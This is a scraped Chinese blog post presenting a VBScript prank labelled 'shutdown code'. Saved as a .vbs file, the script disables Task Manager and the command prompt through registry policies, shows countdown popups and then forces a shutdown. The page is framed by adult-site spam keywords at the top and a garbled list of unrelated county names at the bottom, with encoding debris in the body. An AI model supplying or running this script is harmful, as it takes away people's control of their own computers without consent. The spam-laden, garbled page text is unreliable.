最美情侣中文字幕电影,在线麻豆精品传媒,在线网站高清黄,久久黄色视频

歡迎光臨散文網(wǎng) 會(huì)員登陸 & 注冊(cè)

關(guān)機(jī)代碼

2023-06-28 12:59 作者:蘇浩然編程  | 我要投稿

今天帶來(lái)的是關(guān)機(jī)代碼

首先創(chuàng)建一個(gè)新的文本文檔格式為txt,打開

接著輸入以下代碼



set s=createobject("wscript.shell")

set bag=getobject("winmgmts:\\.\root\cimv2")

set pipe=bag.execquery("select * from win32_process where name='wscript.exe'")

For Each id in pipe

if instr(1,id.commandLine,wscript.scriptfullname)<>0 and pipe.count>=2 then

s.regwrite"HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System\DisableTaskMgr",0,"REG_DWORD"

s.regwrite"HKCU\Software\Policies\Microsoft\Windows\System\DisableCMD",0,"REG_DWORD"

id.terminate()

else

s.regwrite"HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System\DisableTaskMgr",1,"REG_DWORD"

s.regwrite"HKCU\Software\Policies\Microsoft\Windows\System\DisableCMD",1,"REG_DWORD"

for i=1 to 60

s.popup"系統(tǒng)將在"& 60-i &"秒后關(guān)機(jī)...",1,"系統(tǒng)提示",4096+48

next

Set colOS = GetObject("winmgmts:{(Shutdown)}").ExecQuery("Select * FROM Win32_OperatingSystem")

For Each eOs In colOS

eOs.Win32Shutdown(2)

Next

end if

Next



接著保存,改后綴名為vbs

就可以了

喜歡的請(qǐng)一鍵三連謝謝

本文禁止轉(zhuǎn)載或摘編


關(guān)機(jī)代碼的評(píng)論 (共 條)

分享到微博請(qǐng)遵守國(guó)家法律
盐池县| 原平市| 甘谷县| 金门县| 雷州市| 花莲市| 句容市| 尤溪县| 甘洛县| 静乐县| 高淳县| 嘉祥县| 余庆县| 高州市| 闽清县| 巩义市| 扬中市| 雷州市| 堆龙德庆县| 青田县| 黄山市| 临海市| 温州市| 霍邱县| 桐庐县| 沈阳市| 乐陵市| 光山县| 历史| 同心县| 柳林县| 托克托县| 开原市| 唐山市| 齐齐哈尔市| 叙永县| 贡山| 乐至县| 青龙| 云安县| 府谷县|